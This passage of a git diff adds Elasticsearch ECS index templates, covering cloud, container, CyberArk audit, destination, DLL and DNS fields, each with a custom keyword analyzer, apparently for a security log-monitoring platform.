"fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "roles": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/cloud.json b/salt/elasticsearch/templates/component/ecs/cloud.json new file mode 100644 index 000000000..cebdadfed --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/cloud.json @@ -0,0 +1,186 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-cloud.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "cloud": { + "properties": { + "account": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "availability_zone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "instance": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "machine": { + "properties": { + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "project": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "provider": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "service": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/container.json b/salt/elasticsearch/templates/component/ecs/container.json new file mode 100644 index 000000000..2541c11ad --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/container.json @@ -0,0 +1,113 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-container.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "container": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "image": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tag": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "labels": { + "type": "object" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "runtime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/cyberark.json b/salt/elasticsearch/templates/component/ecs/cyberark.json new file mode 100644 index 000000000..a1a109fcf --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/cyberark.json @@ -0,0 +1,723 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "cyberarkpas": { + "properties": { + "audit": { + "properties": { + "action": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ca_properties": { + "properties": { + "address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cpm_disabled": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cpm_error_details": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cpm_status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "creation_method": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "customer": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "database": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "device_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dual_account_status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "group_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "in_process": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "index": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "last_fail_date": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "last_success_change": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "last_success_reconciliation": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "last_success_verification": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "last_task": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "logon_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "other": { + "type": "flattened" + }, + "policy_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "port": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "privcloud": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "reset_immediately": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "retries_count": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sequence_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tags": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user_dn": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "virtual_username": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "desc": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "extra_details": { + "properties": { + "ad_process_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ad_process_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "command": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "connection_component_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dst_host": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "logon_account": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "managed_account": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "other": { + "type": "flattened" + }, + "process_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "process_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "protocol": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "psmid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "session_duration": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "session_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "src_host": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "username": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "file": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "gateway_station": { + "type": "ip" + }, + "hostname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "iso_timestamp": { + "type": "date" + }, + "issuer": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "location": { + "doc_values": false, + "ignore_above": 4096, + "index": false, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "message": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "message_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "product": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "pvwa_details": { + "type": "flattened" + }, + "raw": { + "doc_values": false, + "ignore_above": 4096, + "index": false, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "reason": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "rfc5424": { + "type": "boolean" + }, + "safe": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "severity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "source_user": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "station": { + "type": "ip" + }, + "target_user": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timestamp": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vendor": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/data_stream.json b/salt/elasticsearch/templates/component/ecs/data_stream.json new file mode 100644 index 000000000..3ee5c9e13 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/data_stream.json @@ -0,0 +1,65 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-data_stream.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "data_stream": { + "properties": { + "dataset": { + "type": "constant_keyword" + }, + "namespace": { + "type": "constant_keyword" + }, + "type": { + "type": "constant_keyword" + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/destination.json b/salt/elasticsearch/templates/component/ecs/destination.json new file mode 100644 index 000000000..151ccc2cb --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/destination.json @@ -0,0 +1,374 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-destination.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "destination": { + "properties": { + "address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "as": { + "properties": { + "number": { + "type": "long" + }, + "organization": { + "properties": { + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + } + } + } + } + }, + "bytes": { + "type": "long" + }, + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "geo": { + "properties": { + "city_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "continent_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "continent_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country_iso_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "location": { + "type": "geo_point" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "postal_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region_iso_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timezone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "ip": { + "type": "ip" + }, + "mac": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "nat": { + "properties": { + "ip": { + "type": "ip" + }, + "port": { + "type": "long" + } + } + }, + "packets": { + "type": "long" + }, + "port": { + "type": "long" + }, + "registered_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subdomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "top_level_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "full_name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "group": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "roles": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/dll.json b/salt/elasticsearch/templates/component/ecs/dll.json new file mode 100644 index 000000000..f4db40815 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/dll.json @@ -0,0 +1,270 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-dll.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "dll": { + "properties": { + "code_signature": { + "properties": { + "digest_algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "exists": { + "type": "boolean" + }, + "signing_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subject_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "team_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timestamp": { + "type": "date" + }, + "trusted": { + "type": "boolean" + }, + "valid": { + "type": "boolean" + } + } + }, + "hash": { + "properties": { + "md5": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha1": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha256": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha512": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ssdeep": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "path": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "pe": { + "properties": { + "architecture": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "company": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "file_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "imphash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "original_file_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "product": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/dns.json b/salt/elasticsearch/templates/component/ecs/dns.json new file mode 100644 index 000000000..d3963d2dd --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/dns.json @@ -0,0 +1,221 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-dns.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "dns": { + "properties": { + "answers": { + "properties": { + "class": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "data": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ttl": { + "type": "long" + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + }, + "type": "object" + }, + "header_flags": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "op_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "question": { + "properties": { + "class": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "registered_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subdomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "top_level_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "resolved_ip": { + "type": "ip" + }, + "response_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/ecs.json b/salt/elasticsearch/templates/component/ecs/ecs.json new file mode 100644 index 000000000..d7a5683b2 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/ecs.json @@ -0,0 +1,66 @@ +{ + "_meta": { + "documentation": 